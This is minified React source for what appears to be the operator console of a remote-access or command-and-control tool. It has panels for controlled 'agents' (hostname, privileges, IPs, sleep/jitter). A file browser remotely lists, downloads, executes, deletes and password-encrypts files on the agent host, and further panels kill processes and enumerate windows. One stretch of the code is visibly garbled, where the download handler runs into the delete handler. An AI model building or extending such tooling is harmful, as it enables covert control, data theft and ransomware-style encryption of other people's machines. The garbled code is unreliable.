dU({agent:e,onNavigate:t,onTagsChange:n}){return s.jsxs("div",{className:"space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(Ku,{status:e.status,size:"lg",showLabel:!0}),e.elevated&&s.jsx("span",{className:"inline-flex items-center bg-zerin-panel-hover px-2 py-1 text-xs font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Elevated"})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-x-4 gap-y-4",children:[s.jsx(on,{label:"Hostname",value:e.hostname}),s.jsx(on,{label:"Username",value:e.username}),s.jsx(on,{label:"OS",value:fo(e.os)}),s.jsx(on,{label:"Architecture",value:e.arch}),s.jsx(on,{label:"PID",value:String(e.pid),mono:!0}),s.jsx(on,{label:"Integrity",value:e.integrity}),s.jsx(on,{label:"Internal IP",value:e.internal_ip,mono:!0}),s.jsx(on,{label:"External IP",value:e.external_ip,mono:!0}),s.jsx(on,{label:"Sleep / Jitter",value:t5(e.sleep_interval,e.jitter),mono:!0}),s.jsx(on,{label:"Agent ID",value:Os(e.id),mono:!0}),s.jsx(on,{label:"First Seen",value:uo(e.first_seen)}),s.jsx(on,{label:"Last Seen",value:Ac(e.last_seen)})]}),s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-xs mb-1.5",children:"Tags"}),s.jsx(iU,{tags:e.tags??[],onChange:n})]}),s.jsx("div",{className:"border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:t,className:"w-full flex items-center justify-center gap-2 bg-zerin-accent px-4 py-2.5 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:["View Full Details",s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 7l5 5m0 0l-5 5m5-5H6"})})]})]})}function on({label:e,value:t,mono:n=!1}){return s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-xs mb-0.5",children:e}),s.jsx("p",{className:`text-zerin-text text-sm ${n?"font-mono":""}`,children:t})]})}const fU={command:"text-zerin-accent",output:"text-zerin-text",error:"text-zerin-danger",system:"text-zerin-text-muted"},pU={command:"$ ",output:" ",error:"ERR ",system:"SYS "},mU={command:"text-zerin-accent",output:"text-zerin-text-muted",error:"text-zerin-danger",system:"text-zerin-text-muted opacity-50"};function hU({lines:e,className:t=""}){const n=p.useRef(null),r=p.useRef(null),i=p.useRef(0);return p.useEffect(()=>{var a;e.length>i.current&&((a=r.current)==null||a.scrollIntoView({behavior:"smooth"})),i.current=e.length},[e]),s.jsxs("div",{className:` bg-zerin-bg border border-zerin-panel-border font-mono text-sm overflow-hidden flex flex-col ${t} `,children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-panel/60 select-none",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent"}),s.jsx("span",{className:"text-zerin-text-dim text-xs font-medium tracking-wide",children:"Terminal"})]}),s.jsxs("div",{ref:n,className:"flex-1 p-4 space-y-1 min-h-[200px] overflow-auto custom-scrollbar",children:[e.length===0&&s.jsxs("div",{className:"text-zerin-text-muted text-xs",children:[s.jsx("span",{className:"opacity-50",children:"SYS "}),"Awaiting input. Type a command to begin."]}),e.map((a,o)=>s.jsxs("div",{className:`${fU[a.type]} whitespace-pre-wrap break-all leading-relaxed`,children:[a.timestamp&&s.jsx("span",{className:"text-zerin-text-muted opacity-30 text-[10px] mr-3 select-none",children:a.timestamp}),s.jsx("span",{className:`${mU[a.type]} select-none`,children:pU[a.type]}),a.content]},o)),s.jsx("div",{ref:r})]})]})}function xU({agentId:e,agentStatus:t}){const[n,r]=p.useState("C:\\"),[i,a]=p.useState([]),[o,l]=p.useState(!1),[c,u]=p.useState(""),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(null),[y,v]=p.useState(null),[b,w]=p.useState(""),[j,k]=p.useState(""),S=t==="dead",N=p.useRef(null),z=p.useRef(null),O=p.useRef(null);p.useEffect(()=>()=>{N.current&&clearInterval(N.current)},[]),p.useEffect(()=>{if(!m)return;const q=ie=>{ie.button!==2&&z.current&&!z.current.contains(ie.target)&&h(null)},Y=ie=>{ie.key==="Escape"&&h(null)};return document.addEventListener("mousedown",q),document.addEventListener("keydown",Y),()=>{document.removeEventListener("mousedown",q),document.removeEventListener("keydown",Y)}},[m]),p.useEffect(()=>{y&&setTimeout(()=>{var q;return(q=O.current)==null?void 0:q.focus()},50)},[y]);const _=p.useCallback(q=>new Promise((Y,ie)=>{let ae=0;const fe=30,de=setInterval(async()=>{var G;ae++;try{const P=(G=(await Tn(e)).results)==null?void 0:G.find(C=>C.task_id===q);P?(clearInterval(de),P.error?ie(new Error(P.error)):Y({output:P.output,data:P.data})):ae>=fe&&(clearInterval(de),ie(new Error("Timed out waiting for agent response")))}catch{}},2e3)}),[e]),T=p.useCallback(async q=>{if(!S){l(!0),u(""),a([]),N.current&&(clearInterval(N.current),N.current=null);try{const{task_id:Y}=await ke(e,{command:"ls",args:[q]});r(q),f(!0);let ie=0;const ae=30;N.current=setInterval(async()=>{var fe;ie++;try{const G=(fe=(await Tn(e)).results)==null?void 0:fe.find(te=>te.task_id===Y);if(G){if(N.current&&clearInterval(N.current),N.current=null,l(!1),G.error){u(G.error);return}if(G.output){const te=G.output.split(` `).slice(2),P=[];for(const C of te){if(C.length<35)continue;const D=C.substring(0,12).trim(),A=C.substring(13,33).trim();let Z=C.substring(34).trim();if(!Z||Z==="."||Z==="..")continue;const le=D==="";(Z.endsWith("/")||Z.endsWith("\\"))&&(Z=Z.slice(0,-1)),P.push({name:Z,isDir:le,size:le?void 0:D,modified:A})}a(P)}}else ie>=ae&&(N.current&&clearInterval(N.current),N.current=null,l(!1),u("Timed out waiting for agent response"))}catch{}},2e3)}catch(Y){u(Y instanceof Error?Y.message:"Failed to send command"),l(!1)}}},[e,S]),E=q=>{if(q.name.includes("..")||q.name.includes("/")||q.name.includes("\\"))throw new Error("Invalid file name: path traversal detected");const Y=n.endsWith("\\")||n.endsWith("/")?"":"\\";return n+Y+q.name},U=q=>{k(q),setTimeout(()=>k(""),5e3)},K=async q=>{h(null),g("download"),u(""),k("");try{const Y=E(q),{task_id:ie}=await ke(e,{command:"download",args:[Y]}),ae=await _(ie);if(ae.data){let fe;try{fe=atob(ae.data)}catch{u("Failed to decode file data: invalid base64 encoding");return}const de=new Uint8Array(fe.length);for(let C=0;C{h(null),g("delete"),u(""),k("");try{const Y=E(q),{task_id:ie}=await ke(e,{command:"delete",args:[Y]});await _(ie),U(`Deleted ${q.name}`),T(n)}catch(Y){u(Y instanceof Error?Y.message:"Delete failed")}finally{g(null)}},I=async(q,Y,ie)=>{v(null),w(""),g(q),u(""),k("");try{const ae=E(Y),{task_id:fe}=await ke(e,{command:q,args:[ae,ie]}),de=await _(fe);U(de.output||`${q==="encrypt"?"Encrypted":"Decrypted"} ${Y.name}`),T(n)}catch(ae){u(ae instanceof Error?ae.message:`${q} failed`)}finally{g(null)}},F=async q=>{h(null),g("execute"),u(""),k("");try{const Y=E(q),{task_id:ie}=await ke(e,{command:"execute",args:[Y]}),ae=await _(ie);U(ae.output||`Executed ${q.name}`)}catch(Y){u(Y instanceof Error?Y.message:"Execute failed")}finally{g(null)}},B=(q,Y)=>{q.preventDefault(),q.stopPropagation();const ie=180,ae=220;let fe=q.clientX,de=q.clientY;fe+ie>window.innerWidth&&(fe=window.innerWidth-ie-8),de+ae>window.innerHeight&&(de=window.innerHeight-ae-8),h({x:Math.max(4,fe),y:Math.max(4,de),entry:Y})},V=()=>{!y||!b.trim()||I(y.action,y.entry,b)},$=n.split(/[/\\]/).filter(Boolean);return s.jsxs("div",{className:"p-6 animate-fade-in max-w-3xl mx-auto",onContextMenu:q=>{q.preventDefault(),h(null)},children:[s.jsxs("div",{className:"flex items-center gap-1 mb-4 text-xs font-mono overflow-x-auto",children:[s.jsx("button",{onClick:()=>T("C:\\"),className:"text-zerin-text-muted hover:text-zerin-accent transition-colors px-1",disabled:S,children:"root"}),$.map((q,Y)=>s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"/"}),s.jsx("button",{onClick:()=>{const ie=$.slice(0,Y+1).join("\\")+"\\";T(ie)},className:"text-zerin-text-dim hover:text-zerin-accent transition-colors px-1",disabled:S,children:q})]},Y))]}),s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:()=>T(n),disabled:S||o,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r bg-zerin-accent text-white hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[o?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Browse"]}),S&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"}),x&&s.jsxs("span",{className:"inline-flex items-center gap-1.5 text-xs text-zerin-text-muted",children:[s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),x,"..."]})]}),c&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:c}),j&&s.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 px-4 py-3 text-xs text-zerin-accent mb-4 font-mono",children:j}),d?i.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[24px_1fr] gap-2 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"})]}),i.map(q=>s.jsxs("button",{onClick:()=>{if(q.isDir){const Y=n.endsWith("\\")||n.endsWith("/")?"":"\\";T(n+Y+q.name)}},onContextMenu:Y=>B(Y,q),className:`w-full grid grid-cols-[24px_1fr] gap-2 px-4 py-2 text-left\r border-b border-zerin-panel-border last:border-b-0\r hover:bg-zerin-panel-hover transition-colors text-sm`,children:[s.jsx("span",{className:"text-zerin-text-muted",children:q.isDir?s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 14.25v-2.625a3.375 3.375 0 00-3.375-3.375h-1.5A1.125 1.125 0 0113.5 7.125v-1.5a3.375 3.375 0 00-3.375-3.375H8.25m2.25 0H5.625c-.621 0-1.125.504-1.125 1.125v17.25c0 .621.504 1.125 1.125 1.125h12.75c.621 0 1.125-.504 1.125-1.125V11.25a9 9 0 00-9-9z"})})}),s.jsx("span",{className:q.isDir?"text-zerin-accent font-medium":"text-zerin-text-dim",children:q.name})]},q.name))]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Browse to list files on the agent"})]})}),m&&s.jsxs("div",{ref:z,className:"animate-scale-in fixed z-[9999] min-w-[170px] border border-zerin-panel-border bg-zerin-panel py-1",style:{left:m.x,top:m.y},children:[s.jsx("div",{className:"px-3 py-1.5 border-b border-zerin-panel-border",children:s.jsx("span",{className:"text-[11px] font-mono text-zerin-text-muted truncate block max-w-[200px]",children:m.entry.name})}),s.jsxs("button",{onClick:()=>K(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})}),"Download"]}),s.jsxs("button",{onClick:()=>F(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute"]}),s.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:()=>{v({action:"encrypt",entry:m.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"})}),"Encrypt"]}),s.jsxs("button",{onClick:()=>{v({action:"decrypt",entry:m.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"})}),"Decrypt"]}),s.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:()=>R(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r text-zerin-danger hover:bg-zerin-danger-dim transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})}),"Delete"]})]}),y&&s.jsx("div",{className:"fixed inset-0 z-[10000] flex items-center justify-center bg-black/60",onClick:()=>{v(null),w("")},children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 min-w-[340px] animate-scale-in",onClick:q=>q.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text mb-1 capitalize",children:[y.action," File"]}),s.jsx("p",{className:"text-xs text-zerin-text-muted mb-4 font-mono truncate",children:y.entry.name}),s.jsx("label",{className:"block text-xs text-zerin-text-dim mb-1.5",children:"Password"}),s.jsx("input",{ref:O,type:"password",value:b,onChange:q=>w(q.target.value),onKeyDown:q=>{q.key==="Enter"&&V(),q.key==="Escape"&&(v(null),w(""))},placeholder:"Enter password...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-zerin-text font-mono text-sm placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20\r transition-all mb-4`}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>{v(null),w("")},className:`px-3 py-1.5 text-xs text-zerin-text-dim\r hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:V,disabled:!b.trim(),className:`px-4 py-1.5 text-xs font-medium bg-zerin-accent text-white\r hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r transition-colors capitalize`,children:y.action})]})]})})]})}function vU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),[m,h]=p.useState(null),[x,g]=p.useState(null),y=t==="dead",v=p.useRef(null);p.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=p.useCallback(async()=>{if(!y){a(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:S}=await ke(e,{command:"ps"});u(!0);let N=0;const z=30;v.current=setInterval(async()=>{var O;N++;try{const T=(O=(await Tn(e)).results)==null?void 0:O.find(E=>E.task_id===S);if(T){if(v.current&&clearInterval(v.current),v.current=null,a(!1),T.error){l(T.error);return}if(T.output){const E=T.output.split(` `).filter(I=>I.trim()),U=[];for(const I of E){const F=I.trim().split(/\s+/);if(F.length>=2){const B=parseInt(F[0],10);if(!isNaN(B)){const V=F.length>=3?parseInt(F[1],10):0,$=!isNaN(V)&&F.length>=3,q=$?F.length>=4&&F.slice(3).join(" ")||F[2]:F.slice(1).join(" "),Y=$&&F.length>=4?F[2]:void 0;U.push({pid:B,ppid:$?V:0,name:q,user:Y,children:[]})}}}const K=new Map;U.forEach(I=>K.set(I.pid,I));const R=[];for(const I of U){const F=K.get(I.ppid);F&&F!==I?F.children.push(I):R.push(I)}r(R.length>0?R:U.map(I=>({...I,children:[]})))}}else N>=z&&(v.current&&clearInterval(v.current),v.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(S){l(S instanceof Error?S.message:"Failed to send command"),a(!1)}}},[e,y]),w=(S,N)=>{if(!N)return S;const z=N.toLowerCase();return S.filter(O=>{const _=O.name.toLowerCase().includes(z)||String(O.pid).includes(z),T=w(O.children,N).length>0;return _||T})},j=p.useCallback(async S=>{h(S),g(null);try{await ke(e,{command:"kill",args:[String(S)]}),setTimeout(b,2e3)}catch(N){l(N instanceof Error?N.message:"Failed to kill process")}finally{h(null)}},[e,b]),k=w(n,d);return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r bg-zerin-accent text-white hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:S=>f(S.target.value),placeholder:"Filter processes...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r text-xs text-zerin-text placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"PID"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"User"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Kill"})]}),s.jsx("div",{className:"max-h-[500px] overflow-y-auto custom-scrollbar",children:k.map(S=>s.jsx(P3,{process:S,depth:0,confirmKillPid:x,killingPid:m,onKillClick:N=>g(N),onKillConfirm:j,onKillCancel:()=>g(null)},S.pid))})]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6A2.25 2.25 0 016 3.75h2.25A2.25 2.25 0 0110.5 6v2.25a2.25 2.25 0 01-2.25 2.25H6a2.25 2.25 0 01-2.25-2.25V6zM3.75 15.75A2.25 2.25 0 016 13.5h2.25a2.25 2.25 0 012.25 2.25V18a2.25 2.25 0 01-2.25 2.25H6A2.25 2.25 0 013.75 18v-2.25zM13.5 6a2.25 2.25 0 012.25-2.25H18A2.25 2.25 0 0120.25 6v2.25A2.25 2.25 0 0118 10.5h-2.25a2.25 2.25 0 01-2.25-2.25V6zM13.5 15.75a2.25 2.25 0 012.25-2.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-2.25A2.25 2.25 0 0113.5 18v-2.25z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list processes on the agent"})]})})]})}function P3({process:e,depth:t,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:a,onKillCancel:o}){const[l,c]=p.useState(!0),u=e.children.length>0,d=n===e.pid,f=r===e.pid;return s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:`w-full grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-1.5\r border-b border-zerin-panel-border last:border-b-0\r hover:bg-zerin-panel-hover transition-colors text-xs`,children:[s.jsx("span",{className:"font-mono text-zerin-accent tabular-nums cursor-pointer",onClick:()=>u&&c(!l),children:e.pid}),s.jsxs("span",{className:"text-zerin-text cursor-pointer",style:{paddingLeft:t*16},onClick:()=>u&&c(!l),children:[u&&s.jsx("svg",{className:`w-3 h-3 inline mr-1 text-zerin-text-muted transition-transform ${l?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),e.name]}),s.jsx("span",{className:"text-zerin-text-muted truncate",children:e.user||"-"}),s.jsx("span",{children:f?s.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):d?s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("button",{onClick:()=>a(e.pid),className:"text-zerin-danger hover:text-red-400 font-medium transition-colors",children:"Yes"}),s.jsx("span",{className:"text-zerin-text-muted",children:"/"}),s.jsx("button",{onClick:o,className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:"No"})]}):e.pid>4?s.jsx("button",{onClick:()=>i(e.pid),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:`Kill PID ${e.pid}`,children:s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})}):null})]}),l&&e.children.map(m=>s.jsx(P3,{process:m,depth:t+1,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:a,onKillCancel:o},m.pid))]})}function gU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),m=t==="dead",h=p.useRef(null);p.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=p.useCallback(async()=>{if(!m){a(!0),l(""),r([]),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:y}=await ke(e,{command:"windows"});u(!0);let v=0;const b=30;h.current=setInterval(async()=>{var w;v++;try{const k=(w=(await Tn(e)).results)==null?void 0:w.find(S=>S.task_id===y);if(k){if(h.current&&clearInterval(h.current),h.current=null,a(!1),k.error){l(k.error);return}if(k.output)try{const S=JSON.parse(k.output);r(S)}catch{l("Failed to parse window list")}}else v>=b&&(h.current&&clearInterval(h.current),h.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(y){l(y instanceof Error?y.message:"Failed to send command"),a(!1)}}},[e,m]),g=d?n.filter(y=>{const v=d.toLowerCase();return y.title.toLowerCase().includes(v)||y.class.toLowerCase().includes(v)||String(y.pid).includes(v)||String(y.hwnd).includes(v)}):n;return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:x,disabled:m||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r bg-zerin-accent text-white hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:y=>f(y.target.value),placeholder:"Filter windows...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r text-xs text-zerin-text placeholder-zerin-text-muted\r focus:outline-none 